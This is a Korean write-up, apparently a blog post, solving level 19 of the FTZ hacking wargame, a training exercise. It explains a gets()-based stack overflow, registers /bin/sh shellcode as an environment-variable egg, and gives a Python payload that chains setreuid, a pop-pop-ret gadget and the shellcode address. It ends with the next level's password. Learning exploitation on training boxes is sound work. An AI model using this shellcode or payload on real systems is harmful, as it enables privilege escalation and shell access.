FTZ level19
FTZ level 19
- Question
· level19 ID로 Login해서 level20의 password를 찾기
- Solution
· 'level19' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
· Source Code 분석
◦ Stack Memory 영역에 buf 변수를 20Byte만큼 확보한다.
◦ 이전 문제와는 달리 'setreuid()' 함수가 사용되지 않았다.
◦ 'gets' 함수가 사용되었으며 이를 이용해 BOF 공격을 해야 한다.
· File을 분석하기 위해서는 gdb를 사용해야하는데 원본 File이 level14에 대해서만 쓰기(w)가 가능하므로 쓰기 권한이 주어진 tmp Directory에 복사 후 분석해야한다.
· gdb를 이용한 분석
◦ Stack Memory 영역이 40Byte만큼 확보된다.
◦ 확보된 40Byte 영역은 buf(20Byte)와 Dummy(20Byte)로 이루어진다.
◦ NOP를 채울 Stack Memory 영역은 40(buf+Dummy)+4(SFP)로 44Byte가 된다.
◦ Program에 주어진 Stack Memory 영역을 BOF 시켜 setreuid와 Shell을 실행시켜야한다.
◦ gdb 내에서 setreuid의 주소를 확보한다.
◦ setreuid 함수는 변수를 2개 입력받기 때문에 pop-pop-ret의 주소를 확보한다.
◦ strcpy 함수가 변수 2개를 확보하기 때문에 strcpy 함수에서 확보한다.
※ 함수의 인자 개수에 대한 ret 주소
› 인자 0개 : [함수 주소] [ret 주소]
› 인자 1개 : [함수 주소] [pop-ret 주소]
› 인자 2개 : [함수 주소] [pop-pop-ret 주소]
※ pop-pop-ret의 주소를 확보할 때는 Stack영역이 아닌 Heap영역에 있는 주소를 확보해야한다.
Stack영역은 Program이 작동하는 동안에만 해당 명령어가 영역을 확보하기 때문이다.
여기서 BOF 공격 시 Program을 실행 전에 Python으로 미리 실행되기 때문에 Stack 영역의 주소는 실행되지 않는다.
· Egg Shell 등록
◦ export 명령어를 이용해 Egg Shell을 환경변수에 등록한다.
◦ 명령어
1 | export eggsh=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` | cs |
◦ gcc Compiler를 이용해 Egg Shell의 주소를 가져오는 실행 File을 만든다.
◦ 만들어낸 Program을 이용해 Egg Shell의 주소를 확인해보면 '0xbffffe91'이라는 것을 알 수 있다.
◦ Source Code
1 2 3 4 5 | #include <stdio.h> int main() { printf("egg : %p\n", getenv("eggsh")); } | cs |
· 명령어를 이용한 공격
◦ Python을 이용해 작성할 Exploit의 구조는 위와 같다.
◦ Python을 이용해 공격해본다.
◦ 명령어
1 2 | (python -c 'print "\x90"*44+"\x20\x79\x0d\x42"+"\xfd\x9d\x07\x42"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x91\xfe\xff\xbf"';cat)| ./attackme | cs |
◦ my-pass 명령어로 Password를 확인해본다.
- Answer
· Password : we are just regular guys